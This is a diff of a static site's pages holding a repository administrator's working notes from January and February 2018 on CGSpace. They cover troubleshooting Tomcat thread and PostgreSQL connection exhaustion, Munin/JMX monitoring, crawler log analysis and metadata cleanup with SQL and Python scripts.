+    <RANGE_GOOP> ...
+    
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1994+TO+1999]': Encountered " "]" "] "" at line 1, column 32.
+Was expecting one of:
+    "TO" ...
+    <RANGE_QUOTED> ...
+    <RANGE_GOOP> ...
+
    +
  • So is this an error caused by this particular client (which happens to be Yahoo! Slurp)?
    • +
  • I see a few dozen HTTP 499 errors in the nginx access log for a few minutes before this happened, but HTTP 499 is just when nginx says that the client closed the request early
    • +
  • Perhaps this from the nginx error log is relevant?
    • +
+
2018/01/29 05:26:34 [warn] 26895#26895: *944759 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/16/0000026166 while reading upstream, client: 180.76.15.34, server: cgspace.cgiar.org, request: "GET /bitstream/handle/10947/4658/FISH%20Leaflet.pdf?sequence=12 HTTP/1.1", upstream: "http://127.0.0.1:8443/bitstream/handle/10947/4658/FISH%20Leaflet.pdf?sequence=12", host: "cgspace.cgiar.org"
+
+
# awk '($9 ~ /200/) { i++;sum+=$10;max=$10>max?$10:max; } END { printf("Maximum: %d\nAverage: %d\n",max,i?sum/i:0); }' /var/log/nginx/access.log
+Maximum: 2771268
+Average: 210483
+
    +
  • I guess responses that don’t fit in RAM get saved to disk (a default of 1024M), so this is definitely not the issue here, and that warning is totally unrelated
    • +
  • My best guess is that the Solr search error is related somehow but I can’t figure it out
    • +
  • We definitely have enough database connections, as I haven’t seen a pool error in weeks:
    • +
+
$ grep -c "Timeout: Pool empty." dspace.log.2018-01-2*
+dspace.log.2018-01-20:0
+dspace.log.2018-01-21:0
+dspace.log.2018-01-22:0
+dspace.log.2018-01-23:0
+dspace.log.2018-01-24:0
+dspace.log.2018-01-25:0
+dspace.log.2018-01-26:0
+dspace.log.2018-01-27:0
+dspace.log.2018-01-28:0
+dspace.log.2018-01-29:0
+
    +
  • Adam Hunt from WLE complained that pages take “1-2 minutes” to load each, from France and Sri Lanka
    • +
  • I asked him which particular pages, as right now pages load in 2 or 3 seconds for me
    • +
  • UptimeRobot said CGSpace went down again, and I looked at PostgreSQL and saw 211 active database connections
    • +
  • If it’s not memory and it’s not database, it’s gotta be Tomcat threads, seeing as the default maxThreads is 200 anyways, it actually makes sense
    • +
  • I decided to change the Tomcat thread settings on CGSpace: + +
    • +
  • Looks like I only enabled the new thread stuff on the connector used internally by Solr, so I probably need to match that by increasing them on the other connector that nginx proxies to
    • +
  • Jesus Christ I need to fucking fix the Munin monitoring so that I can tell how many fucking threads I have running
    • +
  • Wow, so apparently you need to specify which connector to check if you want any of the Munin Tomcat plugins besides “tomcat_jvm” to work (the connector name can be seen in the Catalina logs)
    • +
  • I modified /etc/munin/plugin-conf.d/tomcat to add the connector (with surrounding quotes!) and now the other plugins work (obviously the credentials are incorrect):
    • +
+
[tomcat_*]
+    env.host 127.0.0.1
+    env.port 8081
+    env.connector "http-bio-127.0.0.1-8443"
+    env.user munin
+    env.password munin
+
    +
  • For example, I can see the threads:
    • +
+
# munin-run tomcat_threads
+busy.value 0
+idle.value 20
+max.value 400
+
    +
  • Apparently you can’t monitor more than one connector, so I guess the most important to monitor would be the one that nginx is sending stuff to
    • +
  • So for now I think I’ll just monitor these and skip trying to configure the jmx plugins
    • +
  • Although following the logic of /usr/share/munin/plugins/jmx_tomcat_dbpools could be useful for getting the active Tomcat sessions
    • +
  • From debugging the jmx_tomcat_db_pools script from the munin-plugins-java package, I see that this is how you call arbitrary mbeans:
    • +
+
# port=5400 ip="127.0.0.1" /usr/bin/java -cp /usr/share/munin/munin-jmx-plugins.jar org.munin.plugin.jmx.Beans Catalina:type=DataSource,class=javax.sql.DataSource,name=* maxActive
+Catalina:type=DataSource,class=javax.sql.DataSource,name="jdbc/dspace"  maxActive       300
+
+
[===================>                               ]38% time remaining: 5 hour(s) 21 minute(s) 47 seconds. timestamp: 2018-01-29 06:25:16
+
    +
  • There are millions of these status lines, for example in just this one log file:
    • +
+
# zgrep -c "time remaining" /var/log/tomcat7/catalina.out.1.gz
+1084741
+
+

2018-01-31

+
    +
  • UptimeRobot says CGSpace went down at 7:57 AM, and indeed I see a lot of HTTP 499 codes in nginx logs
    • +
  • PostgreSQL activity shows 222 database connections
    • +
  • Now PostgreSQL activity shows 265 database connections!
    • +
  • I don’t see any errors anywhere…
    • +
  • Now PostgreSQL activity shows 308 connections!
    • +
  • Well this is interesting, there are 400 Tomcat threads busy:
    • +
+
# munin-run tomcat_threads
+busy.value 400
+idle.value 0
+max.value 400
+
    +
  • And wow, we finally exhausted the database connections, from dspace.log:
    • +
+
2018-01-31 08:05:28,964 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error - 
+org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-451] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:300; busy:300; idle:0; lastwait:5000].
+
    +
  • Now even the nightly Atmire background thing is getting HTTP 500 error:
    • +
+
Jan 31, 2018 8:16:05 AM com.sun.jersey.spi.container.ContainerResponse logException
+SEVERE: Mapped exception to response: 500 (Internal Server Error)
+javax.ws.rs.WebApplicationException
+
    +
  • For now I will restart Tomcat to clear this shit and bring the site back up
    • +
  • The top IPs from this morning, during 7 and 8AM in XMLUI and REST/OAI:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 /var/log/nginx/error.log /var/log/nginx/error.log.1 | grep -E "31/Jan/2018:(07|08)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     67 66.249.66.70
+     70 207.46.13.12
+     71 197.210.168.174
+     83 207.46.13.13
+     85 157.55.39.79
+     89 207.46.13.14
+    123 68.180.228.157
+    198 66.249.66.90
+    219 41.204.190.40
+    255 2405:204:a208:1e12:132:2a8e:ad28:46c0
+# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "31/Jan/2018:(07|08)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      2 65.55.210.187
+      2 66.249.66.90
+      3 157.55.39.79
+      4 197.232.39.92
+      4 34.216.252.127
+      6 104.196.152.243
+      6 213.55.85.89
+     15 122.52.115.13
+     16 213.55.107.186
+    596 45.5.184.196
+
    +
  • This looks reasonable to me, so I have no idea why we ran out of Tomcat threads
    • +
+

Tomcat threads

+
    +
  • We need to start graphing the Tomcat sessions as well, though that requires JMX
    • +
  • Also, I wonder if I could disable the nightly Atmire thing
    • +
  • God, I don’t know where this load is coming from
    • +
  • Since I bumped up the Tomcat threads from 200 to 400 the load on the server has been sustained at about 200% for almost a whole day:
    • +
+

CPU usage week

+
    +
  • I should make separate database pools for the web applications and the API applications like REST and OAI
    • +
  • Ok, so this is interesting: I figured out how to get the MBean path to query Tomcat’s activeSessions from JMX (using munin-plugins-java):
    • +
+
# port=5400 ip="127.0.0.1" /usr/bin/java -cp /usr/share/munin/munin-jmx-plugins.jar org.munin.plugin.jmx.Beans Catalina:type=Manager,context=/,host=localhost activeSessions
+Catalina:type=Manager,context=/,host=localhost  activeSessions  8
+
    +
  • If you connect to Tomcat in jvisualvm it’s pretty obvious when you hover over the elements
    • +
+

MBeans in JVisualVM

+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-02/index.html b/docs/2018-02/index.html new file mode 100644 index 000000000..f1d9068e9 --- /dev/null +++ b/docs/2018-02/index.html @@ -0,0 +1,1092 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2018

+

+ + in + Notes + + +

+
+

2018-02-01

+
    +
  • Peter gave feedback on the dc.rights proof of concept that I had sent him last week
    • +
  • We don’t need to distinguish between internal and external works, so that makes it just a simple list
    • +
  • Yesterday I figured out how to monitor DSpace sessions using JMX
    • +
  • I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01
    • +
+

DSpace Sessions

+
    +
  • Run all system updates and reboot DSpace Test
    • +
  • Wow, I packaged up the jmx_dspace_sessions stuff in the Ansible infrastructure scripts and deployed it on CGSpace and it totally works:
    • +
+
# munin-run jmx_dspace_sessions
+v_.value 223
+v_jspui.value 1
+v_oai.value 0
+

2018-02-03

+ +
$ ./delete-metadata-values.py -i /tmp/2018-02-03-Affiliations-12-deletions.csv -f cg.contributor.affiliation -m 211 -d dspace -u dspace -p 'fuuu'
+$ ./fix-metadata-values.py -i /tmp/2018-02-03-Affiliations-1116-corrections.csv -f cg.contributor.affiliation -t correct -m 211 -d dspace -u dspace -p 'fuuu'
+
    +
  • Then I started a full Discovery reindex:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b
+
+real    96m39.823s
+user    14m10.975s
+sys     2m29.088s
+
    +
  • Generate a new list of affiliations for Peter to sort through:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'affiliation') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/affiliations.csv with csv;
+COPY 3723
+
    +
  • Oh, and it looks like we processed over 3.1 million requests in January, up from 2.9 million in December:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2018"
+3126109
+
+real    0m23.839s
+user    0m27.225s
+sys     0m1.905s
+

2018-02-05

+
    +
  • Toying with correcting authors with trailing spaces via PostgreSQL:
    • +
+
dspace=# update metadatavalue set text_value=REGEXP_REPLACE(text_value, '\s+$' , '') where resource_type_id=2 and metadata_field_id=3 and text_value ~ '^.*?\s+$';
+UPDATE 20
+
    +
  • I tried the TRIM(TRAILING from text_value) function and it said it changed 20 items but the spaces didn’t go away
    • +
  • This is on a fresh import of the CGSpace database, but when I tried to apply it on CGSpace there were no changes detected. Weird.
    • +
  • Anyways, Peter wants a new list of authors to clean up, so I exported another CSV:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors-2018-02-05.csv with csv;
+COPY 55630
+

2018-02-06

+
    +
  • UptimeRobot says CGSpace is down this morning around 9:15
    • +
  • I see 308 PostgreSQL connections in pg_stat_activity
    • +
  • The usage otherwise seemed low for REST/OAI as well as XMLUI in the last hour:
    • +
+
# date
+Tue Feb  6 09:30:32 UTC 2018
+# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "6/Feb/2018:(08|09)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      2 223.185.41.40
+      2 66.249.64.14
+      2 77.246.52.40
+      4 157.55.39.82
+      4 193.205.105.8
+      5 207.46.13.63
+      5 207.46.13.64
+      6 154.68.16.34
+      7 207.46.13.66
+   1548 50.116.102.77
+# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 /var/log/nginx/error.log /var/log/nginx/error.log.1 | grep -E "6/Feb/2018:(08|09)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     77 213.55.99.121
+     86 66.249.64.14
+    101 104.196.152.243
+    103 207.46.13.64
+    118 157.55.39.82
+    133 207.46.13.66
+    136 207.46.13.63
+    156 68.180.228.157
+    295 197.210.168.174
+    752 144.76.64.79
+
    +
  • I did notice in /var/log/tomcat7/catalina.out that Atmire’s update thing was running though
    • +
  • So I restarted Tomcat and now everything is fine
    • +
  • Next time I see that many database connections I need to save the output so I can analyze it later
    • +
  • I’m going to re-schedule the taskUpdateSolrStatsMetadata task as Bram detailed in ticket 566 to see if it makes CGSpace stop crashing every morning
    • +
  • If I move the task from 3AM to 3PM, ideally CGSpace will stop crashing in the morning, or start crashing ~12 hours later
    • +
  • Eventually Atmire has said that there will be a fix for this high load caused by their script, but it will come with the 5.8 compatability they are already working on
    • +
  • I re-deployed CGSpace with the new task time of 3PM, ran all system updates, and restarted the server
    • +
  • Also, I changed the name of the DSpace fallback pool on DSpace Test and CGSpace to be called ‘dspaceCli’ so that I can distinguish it in pg_stat_activity
    • +
  • I implemented some changes to the pooling in the Ansible infrastructure scripts so that each DSpace web application can use its own pool (web, api, and solr)
    • +
  • Each pool uses its own name and hopefully this should help me figure out which one is using too many connections next time CGSpace goes down
    • +
  • Also, this will mean that when a search bot comes along and hammers the XMLUI, the REST and OAI applications will be fine
    • +
  • I’m not actually sure if the Solr web application uses the database though, so I’ll have to check later and remove it if necessary
    • +
  • I deployed the changes on DSpace Test only for now, so I will monitor and make them on CGSpace later this week
    • +
+

2018-02-07

+
    +
  • Abenet wrote to ask a question about the ORCiD lookup not working for one CIAT user on CGSpace
    • +
  • I tried on DSpace Test and indeed the lookup just doesn’t work!
    • +
  • The ORCiD code in DSpace appears to be using http://pub.orcid.org/, but when I go there in the browser it redirects me to https://pub.orcid.org/v2.0/
    • +
  • According to the announcement the v1 API was moved from http://pub.orcid.org/ to https://pub.orcid.org/v1.2 until March 1st when it will be discontinued for good
    • +
  • But the old URL is hard coded in DSpace and it doesn’t work anyways, because it currently redirects you to https://pub.orcid.org/v2.0/v1.2
    • +
  • So I guess we have to disable that shit once and for all and switch to a controlled vocabulary
    • +
  • CGSpace crashed again, this time around Wed Feb 7 11:20:28 UTC 2018
    • +
  • I took a few snapshots of the PostgreSQL activity at the time and as the minutes went on and the connections were very high at first but reduced on their own:
    • +
+
$ psql -c 'select * from pg_stat_activity' > /tmp/pg_stat_activity.txt
+$ grep -c 'PostgreSQL JDBC' /tmp/pg_stat_activity*
+/tmp/pg_stat_activity1.txt:300
+/tmp/pg_stat_activity2.txt:272
+/tmp/pg_stat_activity3.txt:168
+/tmp/pg_stat_activity4.txt:5
+/tmp/pg_stat_activity5.txt:6
+
    +
  • Interestingly, all of those 751 connections were idle!
    • +
+
$ grep "PostgreSQL JDBC" /tmp/pg_stat_activity* | grep -c idle
+751
+
    +
  • Since I was restarting Tomcat anyways, I decided to deploy the changes to create two different pools for web and API apps
    • +
  • Looking the Munin graphs, I can see that there were almost double the normal number of DSpace sessions at the time of the crash (and also yesterday!):
    • +
+

DSpace Sessions

+
    +
  • Indeed it seems like there were over 1800 sessions today around the hours of 10 and 11 AM:
    • +
+
$ grep -E '^2018-02-07 (10|11)' dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+1828
+
    +
  • CGSpace went down again a few hours later, and now the connections to the dspaceWeb pool are maxed at 250 (the new limit I imposed with the new separate pool scheme)
    • +
  • What’s interesting is that the DSpace log says the connections are all busy:
    • +
+
org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-328] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:250; busy:250; idle:0; lastwait:5000].
+
    +
  • … but in PostgreSQL I see them idle or idle in transaction:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -c dspaceWeb
+250
+$ psql -c 'select * from pg_stat_activity' | grep dspaceWeb | grep -c idle
+250
+$ psql -c 'select * from pg_stat_activity' | grep dspaceWeb | grep -c "idle in transaction"
+187
+
    +
  • What the fuck, does DSpace think all connections are busy?
    • +
  • I suspect these are issues with abandoned connections or maybe a leak, so I’m going to try adding the removeAbandoned='true' parameter which is apparently off by default
    • +
  • I will try testOnReturn='true' too, just to add more validation, because I’m fucking grasping at straws
    • +
  • Also, WTF, there was a heap space error randomly in catalina.out:
    • +
+
Wed Feb 07 15:01:54 UTC 2018 | Query:containerItem:91917 AND type:2
+Exception in thread "http-bio-127.0.0.1-8081-exec-58" java.lang.OutOfMemoryError: Java heap space
+
    +
  • I’m trying to find a way to determine what was using all those Tomcat sessions, but parsing the DSpace log is hard because some IPs are IPv6, which contain colons!
    • +
  • Looking at the first crash this morning around 11, I see these IPv4 addresses making requests around 10 and 11AM:
    • +
+
$ grep -E '^2018-02-07 (10|11)' dspace.log.2018-02-07 | grep -o -E 'ip_addr=[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -n | uniq -c | sort -n | tail -n 20
+     34 ip_addr=46.229.168.67
+     34 ip_addr=46.229.168.73
+     37 ip_addr=46.229.168.76
+     40 ip_addr=34.232.65.41
+     41 ip_addr=46.229.168.71
+     44 ip_addr=197.210.168.174
+     55 ip_addr=181.137.2.214
+     55 ip_addr=213.55.99.121
+     58 ip_addr=46.229.168.65
+     64 ip_addr=66.249.66.91
+     67 ip_addr=66.249.66.90
+     71 ip_addr=207.46.13.54
+     78 ip_addr=130.82.1.40
+    104 ip_addr=40.77.167.36
+    151 ip_addr=68.180.228.157
+    174 ip_addr=207.46.13.135
+    194 ip_addr=54.83.138.123
+    198 ip_addr=40.77.167.62
+    210 ip_addr=207.46.13.71
+    214 ip_addr=104.196.152.243
+
    +
  • These IPs made thousands of sessions today:
    • +
+
$ grep 104.196.152.243 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+530
+$ grep 207.46.13.71 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+859
+$ grep 40.77.167.62 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+610
+$ grep 54.83.138.123 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+8
+$ grep 207.46.13.135 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+826
+$ grep 68.180.228.157 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+727
+$ grep 40.77.167.36 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+181
+$ grep 130.82.1.40 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+24
+$ grep 207.46.13.54 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+166
+$ grep 46.229.168 dspace.log.2018-02-07 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+992
+
    +
  • Let’s investigate who these IPs belong to: +
      +
    • 104.196.152.243 is CIAT, which is already marked as a bot via nginx!
      • +
    • 207.46.13.71 is Bing, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 40.77.167.62 is Bing, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 207.46.13.135 is Bing, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 68.180.228.157 is Yahoo, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 40.77.167.36 is Bing, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 207.46.13.54 is Bing, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    • 46.229.168.x is Semrush, which is already marked as a bot in Tomcat’s Crawler Session Manager Valve!
      • +
    +
    • +
  • Nice, so these are all known bots that are already crammed into one session by Tomcat’s Crawler Session Manager Valve.
    • +
  • What in the actual fuck, why is our load doing this? It’s gotta be something fucked up with the database pool being “busy” but everything is fucking idle
    • +
  • One that I should probably add in nginx is 54.83.138.123, which is apparently the following user agent:
    • +
+
BUbiNG (+http://law.di.unimi.it/BUbiNG.html)
+
    +
  • This one makes two thousand requests per day or so recently:
    • +
+
# grep -c BUbiNG /var/log/nginx/access.log /var/log/nginx/access.log.1
+/var/log/nginx/access.log:1925
+/var/log/nginx/access.log.1:2029
+
    +
  • And they have 30 IPs, so fuck that shit I’m going to add them to the Tomcat Crawler Session Manager Valve nowwww
    • +
  • Lots of discussions on the dspace-tech mailing list over the last few years about leaky transactions being a known problem with DSpace
    • +
  • Helix84 recommends restarting PostgreSQL instead of Tomcat because it restarts quicker
    • +
  • This is how the connections looked when it crashed this afternoon:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+    290 dspaceWeb
+
    +
  • This is how it is right now:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      5 dspaceWeb
+
    +
  • So is this just some fucked up XMLUI database leaking?
    • +
  • I notice there is an issue (that I’ve probably noticed before) on the Jira tracker about this that was fixed in DSpace 5.7: https://jira.duraspace.org/browse/DS-3551
    • +
  • I seriously doubt this leaking shit is fixed for sure, but I’m gonna cherry-pick all those commits and try them on DSpace Test and probably even CGSpace because I’m fed up with this shit
    • +
  • I cherry-picked all the commits for DS-3551 but it won’t build on our current DSpace 5.5!
    • +
  • I sent a message to the dspace-tech mailing list asking why DSpace thinks these connections are busy when PostgreSQL says they are idle
    • +
+

2018-02-10

+
    +
  • I tried to disable ORCID lookups but keep the existing authorities
    • +
  • This item has an ORCID for Ralf Kiese: http://localhost:8080/handle/10568/89897
    • +
  • Switch authority.controlled off and change authorLookup to lookup, and the ORCID badge doesn’t show up on the item
    • +
  • Leave all settings but change choices.presentation to lookup and ORCID badge is there and item submission uses LC Name Authority and it breaks with this error:
    • +
+
Field dc_contributor_author has choice presentation of type "select", it may NOT be authority-controlled.
+
    +
  • If I change choices.presentation to suggest it give this error:
    • +
+
xmlui.mirage2.forms.instancedCompositeFields.noSuggestionError
+
    +
  • So I don’t think we can disable the ORCID lookup function and keep the ORCID badges
    • +
+

2018-02-11

+
    +
  • Magdalena from CCAFS emailed to ask why one of their items has such a weird thumbnail: 10568/90735
    • +
+

Weird thumbnail

+
    +
  • I downloaded the PDF and manually generated a thumbnail with ImageMagick and it looked better:
    • +
+
$ convert CCAFS_WP_223.pdf\[0\] -profile /usr/local/share/ghostscript/9.22/iccprofiles/default_cmyk.icc -thumbnail 600x600 -flatten -profile /usr/local/share/ghostscript/9.22/iccprofiles/default_rgb.icc CCAFS_WP_223.jpg
+

Manual thumbnail

+
    +
  • Peter sent me corrected author names last week but the file encoding is messed up:
    • +
+
$ isutf8 authors-2018-02-05.csv
+authors-2018-02-05.csv: line 100, char 18, byte 4179: After a first byte between E1 and EC, expecting the 2nd byte between 80 and BF.
+
    +
  • The isutf8 program comes from moreutils
    • +
  • Line 100 contains: Galiè, Alessandra
    • +
  • In other news, psycopg2 is splitting their package in pip, so to install the binary wheel distribution you need to use pip install psycopg2-binary
    • +
  • See: http://initd.org/psycopg/articles/2018/02/08/psycopg-274-released/
    • +
  • I updated my fix-metadata-values.py and delete-metadata-values.py scripts on the scripts page: https://github.com/ilri/DSpace/wiki/Scripts
    • +
  • I ran the 342 author corrections (after trimming whitespace and excluding those with || and other syntax errors) on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i Correct-342-Authors-2018-02-11.csv -f dc.contributor.author -t correct -m 3 -d dspace -u dspace -p 'fuuu'
+
    +
  • Then I ran a full Discovery re-indexing:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Duncan, Alan%';
+   text_value    |              authority               | confidence 
+-----------------+--------------------------------------+------------
+ Duncan, Alan J. | 5ff35043-942e-4d0a-b377-4daed6e3c1a3 |        600
+ Duncan, Alan J. | 62298c84-4d9d-4b83-a932-4a9dd4046db7 |         -1
+ Duncan, Alan J. |                                      |         -1
+ Duncan, Alan    | a6486522-b08a-4f7a-84f9-3a73ce56034d |        600
+ Duncan, Alan J. | cd0e03bf-92c3-475f-9589-60c5b042ea60 |         -1
+ Duncan, Alan J. | a6486522-b08a-4f7a-84f9-3a73ce56034d |         -1
+ Duncan, Alan J. | 5ff35043-942e-4d0a-b377-4daed6e3c1a3 |         -1
+ Duncan, Alan J. | a6486522-b08a-4f7a-84f9-3a73ce56034d |        600
+(8 rows)
+
+dspace=# begin;
+dspace=# update metadatavalue set text_value='Duncan, Alan', authority='a6486522-b08a-4f7a-84f9-3a73ce56034d', confidence=600 where resource_type_id=2 and metadata_field_id=3 and text_value like 'Duncan, Alan%';
+UPDATE 216
+dspace=# select distinct text_value, authority, confidence from metadatavalue where resource_type_id=2 and metadata_field_id=3 and text_value like '%Duncan, Alan%';
+  text_value  |              authority               | confidence 
+--------------+--------------------------------------+------------
+ Duncan, Alan | a6486522-b08a-4f7a-84f9-3a73ce56034d |        600
+(1 row)
+dspace=# commit;
+
    +
  • Run all system updates on DSpace Test (linode02) and reboot it
    • +
  • I wrote a Python script (resolve-orcids-from-solr.py) using SolrClient to parse the Solr authority cache for ORCID IDs
    • +
  • We currently have 1562 authority records with ORCID IDs, and 624 unique IDs
    • +
  • We can use this to build a controlled vocabulary of ORCID IDs for new item submissions
    • +
  • I don’t know how to add ORCID IDs to existing items yet… some more querying of PostgreSQL for authority values perhaps?
    • +
  • I added the script to the ILRI DSpace wiki on GitHub
    • +
+

2018-02-12

+
    +
  • Follow up with Atmire on the DSpace 5.8 Compatibility ticket to ask again if they want me to send them a DSpace 5.8 branch to work on
    • +
  • Abenet asked if there was a way to get the number of submissions she and Bizuwork did
    • +
  • I said that the Atmire Workflow Statistics module was supposed to be able to do that
    • +
  • We had tried it in June, 2017 and found that it didn’t work
    • +
  • Atmire sent us some fixes but they didn’t work either
    • +
  • I just tried the branch with the fixes again and it indeed does not work:
    • +
+

Atmire Workflow Statistics No Data Available

+
    +
  • I see that in April, 2017 I just used a SQL query to get a user’s submissions by checking the dc.description.provenance field
    • +
  • So for Abenet, I can check her submissions in December, 2017 with:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and metadata_field_id=28 and text_value ~ '^Submitted.*yabowork.*2017-12.*';
+
    +
  • I emailed Peter to ask whether we can move DSpace Test to a new Linode server and attach 300 GB of disk space to it
    • +
  • This would be using Linode’s new block storage volumes
    • +
  • I think our current $40/month Linode has enough CPU and memory capacity, but we need more disk space
    • +
  • I think I’d probably just attach the block storage volume and mount it on /home/dspace
    • +
  • Ask Peter about dc.rights on DSpace Test again, if he likes it then we should move it to CGSpace soon
    • +
+

2018-02-13

+
    +
  • Peter said he was getting a “socket closed” error on CGSpace
    • +
  • I looked in the dspace.log.2018-02-13 and saw one recent one:
    • +
+
2018-02-13 12:50:13,656 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error - 
+org.postgresql.util.PSQLException: An I/O error occurred while sending to the backend.
+...
+Caused by: java.net.SocketException: Socket closed
+
    +
  • Could be because of the removeAbandoned="true" that I enabled in the JDBC connection pool last week?
    • +
+
$ grep -c "java.net.SocketException: Socket closed" dspace.log.2018-02-*
+dspace.log.2018-02-01:0
+dspace.log.2018-02-02:0
+dspace.log.2018-02-03:0
+dspace.log.2018-02-04:0
+dspace.log.2018-02-05:0
+dspace.log.2018-02-06:0
+dspace.log.2018-02-07:0
+dspace.log.2018-02-08:1
+dspace.log.2018-02-09:6
+dspace.log.2018-02-10:0
+dspace.log.2018-02-11:3
+dspace.log.2018-02-12:0
+dspace.log.2018-02-13:4
+
    +
  • I apparently added that on 2018-02-07 so it could be, as I don’t see any of those socket closed errors in 2018-01’s logs!
    • +
  • I will increase the removeAbandonedTimeout from its default of 60 to 90 and enable logAbandoned
    • +
  • Peter hit this issue one more time, and this is apparently what Tomcat’s catalina.out log says when an abandoned connection is removed:
    • +
+
Feb 13, 2018 2:05:42 PM org.apache.tomcat.jdbc.pool.ConnectionPool abandon
+WARNING: Connection has been abandoned PooledConnection[org.postgresql.jdbc.PgConnection@22e107be]:java.lang.Exception
+

2018-02-14

+
    +
  • Skype with Peter and the Addis team to discuss what we need to do for the ORCIDs in the immediate future
    • +
  • We said we’d start with a controlled vocabulary for cg.creator.id on the DSpace Test submission form, where we store the author name and the ORCID in some format like: Alan S. Orth (0000-0002-1735-7458)
    • +
  • Eventually we need to find a way to print the author names with links to their ORCID profiles
    • +
  • Abenet will send an email to the partners to give us ORCID IDs for their authors and to stress that they update their name format on ORCID.org if they want it in a special way
    • +
  • I sent the Codeobia guys a question to ask how they prefer that we store the IDs, ie one of: +
      +
    • Alan Orth - 0000-0002-1735-7458
      • +
    • Alan Orth: 0000-0002-1735-7458
      • +
    • Alan S. Orth (0000-0002-1735-7458)
      • +
    +
    • +
  • Atmire responded on the DSpace 5.8 compatability ticket and said they will let me know if they they want me to give them a clean 5.8 branch
    • +
  • I formatted my list of ORCID IDs as a controlled vocabulary, sorted alphabetically, then ran through XML tidy:
    • +
+
$ sort cgspace-orcids.txt > dspace/config/controlled-vocabularies/cg-creator-id.xml
+$ add XML formatting...
+$ tidy -xml -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • It seems the tidy fucks up accents, for example it turns Adriana Tofiño (0000-0001-7115-7169) into Adriana Tofiño (0000-0001-7115-7169)
    • +
  • We need to force UTF-8:
    • +
+
$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • This preserves special accent characters
    • +
  • I tested the display and store of these in the XMLUI and PostgreSQL and it looks good
    • +
